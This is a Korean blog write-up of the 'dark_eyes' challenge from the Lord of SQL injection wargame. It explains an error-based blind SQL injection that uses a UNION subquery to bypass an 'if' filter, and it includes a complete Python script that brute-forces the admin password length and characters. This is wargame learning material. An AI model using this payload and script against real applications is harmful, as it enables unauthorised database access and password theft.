writeup/LOS
[Lord of SQL injection] dark_eyes
hoppi
2021. 7. 26. 19:11
57번째 글.
1. 코드 분석
특이점은 if를 필터링하고 있다.
또한 iron_golem문제 같은 경우는 error를 띄어줬지만 이번 문제는 error가 생기면 흰 화면만 보여준다.
2. Exploit
계속되는 삽질에 결국 힌트를 얻어서 풀었다;;
' or id='admin' and (select 1 union select length(pw)=특정숫자)%23
서브쿼리를 쓸 때는 보통 단일 행, 단일 칼럼의 결과가 반환되도록 해야 한다.
그렇기 때문에 pw의 길이가 일치하지 않으면 서브쿼리 구문은 2개의 행을 반환하게 되어서
오류가 나게 된다. 만약 pw의 길이가 일치하면 select 1 union select 1 이렇게 되어서
아래와 같이 하나의 행만 반환하여 정상적으로 쿼리가 실행되어서 흰 화면이 나오지 않게 된다.
import requests
import string
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
admin_password = ''
ascii_printable = string.printable
print(ascii_printable)
## get password length
for i in range(100):
url = f"https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=' or id='admin' and (select 1 union select length(pw)={i})%23"
res = sess.get(url, headers=headers)
if('select id from prob_dark_eyes' in res.text):
print('Password length is ', i)
password_length = i
break
## get password
for i in range(1,password_length+1):
for j in ascii_printable:
url = f"https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=' or id='admin' and (select 1 union select substr(pw,{i},1)='{j}' )%23"
res = sess.get(url, headers=headers)
if('select id from prob_dark_eyes' in res.text):
admin_password = admin_password+j
print(admin_password)
break
print("Admin Password is " + admin_password)
코드를 짤 때 문자는 quote로 감싸주는 것을 잊지 말자
계속 자동으로 타입 캐스팅이 되기 때문에 답이 이상하게 나온다. -,-